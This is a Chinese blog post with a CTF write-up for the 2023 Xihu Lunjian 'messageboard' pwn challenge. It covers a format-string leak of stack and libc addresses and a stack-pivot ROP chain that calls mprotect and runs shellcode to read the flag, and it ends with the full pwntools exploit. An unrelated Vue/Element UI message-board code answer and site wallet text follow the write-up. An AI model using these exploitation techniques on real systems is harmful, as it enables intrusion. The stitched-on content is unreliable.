2023西湖论剑--messageboard

比赛的时候没有做出来,但是思路已经清楚了,主要是卡在了调试的某一步。

这是主函数,漏洞也出现在主函数中,可以很清楚的看到,第二次输入可以溢出到ret地址处,这样就相当于已经给了思路了,就是栈迁移。那么栈迁移肯定需要一个泄露地址和伪造栈的输入,所以leak是在第一个输入,用格式化字符串来泄露。而布栈就和栈迁移一起执行了。

第一步先泄露栈地址

泄露上述两个地址

p.sendlineafter("Welcome to DASCTF message board, please leave your name:","%p%31$p")
p.recvuntil("Hello, ")
stack_addr = int(p.recv(14),16) + 0x10 -0x8
print(hex(stack_addr))

libc_addr = int(p.recv(14),16) - 0x21c87
print(hex(libc_addr))
mprotect = 0x11b7e0 + libc_addr
pop_rdx_ret = 0x1b96 + libc_addr
system_addr = 0x4f420 + libc_addr
read_addr = 0x401120

这样就知道了栈地址和libc地址。

接下来就是如何得到flag了,因为execve被沙箱过滤了

所以想到有两种方法:1.用open函数直接打开flag 2.用mprotect函数改权限,执行shellcode打开flag。

我们复现的时候用第二种方法。

首先,执行mprotect函数,将某可读可写地址改为可执行的地址

payload = p64(pop_rdi_ret) + p64(0x404000) + p64(pop_rsi_r15_ret) 
payload += p64(0x1000) + p64(0) + p64(pop_rdx_ret) + p64(7) 
payload += p64(mprotect) + p64(pop_rdi_ret) + p64(0) 
payload += p64(pop_rsi_r15_ret) + p64(0x404000) + p64(0) 
payload += p64(pop_rdx_ret) + p64(0x100) + p64(read_addr) 
payload += p64(0x404000) + 'a'*40 + p64(stack_addr) + p64(leave_ret)

然后继续用read函数在该地址写入shellcode,布的栈是这样的。

最后就是读入shellcode执行就好了

以下是完整exp:

from LibcSearcher import *
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('/home/hacker/Desktop/pwn' )
libc=ELF('/home/hacker/Desktop/libc-2.27.so' )
#p=remote("node4.buuoj.cn",27153)
p=process('/home/hacker/Desktop/pwn' )

pop_rdi_ret = 0x401413
leave_ret = 0x4013A2
puts_got = 0x404028
puts_plt = 0x4010E0
main_addr = 0x4012e3
pop_rsi_r15_ret = 0x0000000000401411

gdb.attach(p)
pause()

p.sendlineafter("Welcome to DASCTF message board, please leave your name:","%p%31$p")
p.recvuntil("Hello, ")
stack_addr = int(p.recv(14),16) + 0x10 -0x8
print(hex(stack_addr))

libc_addr = int(p.recv(14),16) - 0x21c87
print(hex(libc_addr))
mprotect = 0x11b7e0 + libc_addr
pop_rdx_ret = 0x1b96 + libc_addr
system_addr = 0x4f420 + libc_addr
read_addr = 0x401120
payload = p64(pop_rdi_ret) + p64(0x404000) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdx_ret) + p64(7) + p64(mprotect) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(0x404000) + p64(0) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr) + p64(0x404000) + 'a'*40 + p64(stack_addr) + p64(leave_ret)
gdb.attach(p)
pause()
p.sendafter("Now, please say something to DASCTF:",payload)
p.send(asm(shellcraft.cat("./flag")))

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,我可以为您提供一个简单的留言板示例,使用Vue和Element UI实现。 首先,您需要安装Vue和Element UI: ``` npm install vue element-ui ``` 然后,创建一个Vue实例,引入Element UI和样式: ```html <template> <div> <el-input v-model="input" placeholder="请输入留言内容"></el-input> <el-button @click="addMessage">提交</el-button> <el-divider></el-divider> <el-card v-for="(message, index) in messages" :key="index"> <div slot="header" class="clearfix"> <span>留言 {{ index + 1 }}</span> <el-button style="float: right;" type="text" @click="deleteMessage(index)">删除</el-button> </div> <p>{{ message }}</p> </el-card> </div> </template> <script> import { ElInput, ElButton, ElDivider, ElCard } from 'element-ui' import 'element-ui/lib/theme-chalk/index.css' export default { name: 'MessageBoard', components: { ElInput, ElButton, ElDivider, ElCard }, data() { return { input: '', messages: [] } }, methods: { addMessage() { if (this.input) { this.messages.push(this.input) this.input = '' } }, deleteMessage(index) { this.messages.splice(index, 1) } } } </script> ``` 在这个示例中,我们使用了`ElInput`组件和`ElButton`组件来获取用户输入和提交留言,使用`ElDivider`组件来分割线,使用`ElCard`组件来显示留言内容。同时,我们使用了`v-for`指令来循环展示留言列表。 在`data`中,我们定义了`input`和`messages`变量,用于存储用户输入和留言列表。在`methods`中,我们定义了`addMessage`方法和`deleteMessage`方法,用于添加留言和删除留言。 最后,我们将组件导出,并在需要使用留言板的地方引入即可。 希望这个示例能够帮助到您!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值